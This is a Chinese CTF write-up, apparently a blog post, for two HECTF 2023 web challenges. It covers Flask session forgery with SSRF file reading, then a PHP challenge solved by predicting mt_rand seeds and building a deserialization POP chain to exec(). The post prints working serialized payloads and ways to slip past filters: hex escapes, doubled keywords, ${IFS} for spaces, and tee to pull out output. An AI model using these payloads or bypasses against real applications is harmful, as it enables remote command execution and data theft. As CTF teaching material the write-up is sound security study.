【wp】2023第七届HECTF信息安全挑战赛 Web

13 篇文章 0 订阅

伪装者

考点:http协议+flask的session伪造+ssrf读取文件

 首先根据题目要求就行伪造HTTP

这里不多说,比较基础 然后下面得到是个登入 页面,我们输入zxk1ing

得到 说什么要白马王子 ,一眼session伪造

看到ey开头感觉是jwt 输入看看

得到key 那就直接flask session伪造就行

看到ey开头感觉是jwt 输入看看

得到key 那就直接flask session伪造就行

然后我们就得到 flag在这个路径下 试了下伪协议读取无果,发现有个url读取

测试一下ssrf读取 成功获得flag 

EZphp 

考点: 生成伪随机数 +PHP反序列化+命令执行的过滤绕过

 首先进行抓包发现如下数据

根据 rand()? seed 看来就是根据seed这个种子来生成伪随机数来进行传参

我们写个脚本

<?php
mt_srand(1442660857);

for($i=0;$i<1000;$i++){

    echo mt_rand()."\n";

}

然后将生产的数 做成一个字典进行爆破

 

得到 Unablet0guess.php  访问得到PHP反序列化

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class GGbond{
    public $candy;

    public function __call($func,$arg){
        $func($arg);
    }

    public function __toString(){
        return $this->candy->str;
    }
}

class unser{
    public $obj;
    public $auth;

    public function __construct($obj,$name){
        $this->obj = $obj;
        $this->obj->auth = $name;
    }

    public function __destruct(){
        $this->obj->Welcome();
    }
}

class HECTF{
    public $cmd;

    public function __invoke(){
        if($this->cmd){
            $this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
        }
        exec($this->cmd);
    }
}

class heeectf{
    public $obj;
    public $flag = "Welcome";
    public $auth = "who are you?";

    public function Welcome(){
        if(unserialize($this->auth)=="zxk1ing"){
            $star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
            echo $star;
        }
        else
            echo 'Welcome HECTF! Have fun!';
    }

    public function __get($get)
    {
        $func = $this->flag;
        return $func();
    }
}

new unser(new heeectf(),"user");

$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
    unserialize($data);
else
    echo "想干嘛???"; Welcome HECTF! Have fun!

 这里的触发过程不难 ,难的是heeectf里面的一些考点,先找出口函数在HECTF里面的exec(),然后 就通过反推形成一条POP链:

unser.__destruct()->heeectf.welcome().->GGbond.__toString>heeectf.__get($get)>HECTF.__invoke()

这里注意的welcome()函数里面

这个条件为真,那么 auth就要被赋值为序列化后的zxk1ing 

 所以为:

"s:7:\"zxk1ing\";"

 然后,第二点,在传参当中,存在一个if(!preg_match('/flag/i',$data)),因此,这里需要16进制绕过即可,具体方法就是前面的s大写,之后将f变为\66即可,这样就可以识别16进制编码了

最后

 这里的绕过就采用双写绕过 空格使用${IFS} ,因为exec输出无回显 所以我们使用tee命令进行传输flag进行解题

咱们可以通过如下来验证代码是否正确

输入进去进行,如果左上角转了3s则成功

所以最终的代码:

<?php


class GGbond{
    public $candy;

}

class unser{
 public $obj;
 public $auth="s:7:\"zxk1ing\";";

}

class HECTF{
 public $cmd = "cat /f* | tee a";
}

class heeectf{
 public $obj;
 public $flag = "Welcome";
 public $auth = "s:7:\"zxk1ing\";";

}
echo "<br/>";
$a = new unser(new HECTF(),"s:7:\"zxk1ing\";");
$a -> obj = new heeectf();
$a -> obj -> obj = new GGbond();
$a -> obj -> obj -> candy = new heeectf();
$a -> obj -> obj -> candy -> flag = new HECTF();
echo serialize($a);

得到 

O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;s:4:"flag";O:5:"HECTF":1:{s:3:"cmd";s:21:"ccatat /f* | tteeee B";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}s:4:"flag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}

 产生的payload经过 16进制绕过 ,双写绕过 空格绕过 得到下面最终payload

data=O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;S:4:"\66lag";O:5:"HECTF":1:{s:3:"cmd";s:41:"ccatat${IFS}/f*${IFS}|${IFS}tteeee${IFS}a";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}S:4:"\66lag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}

然后传入访问a路径得到a文件 下载打开就为flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值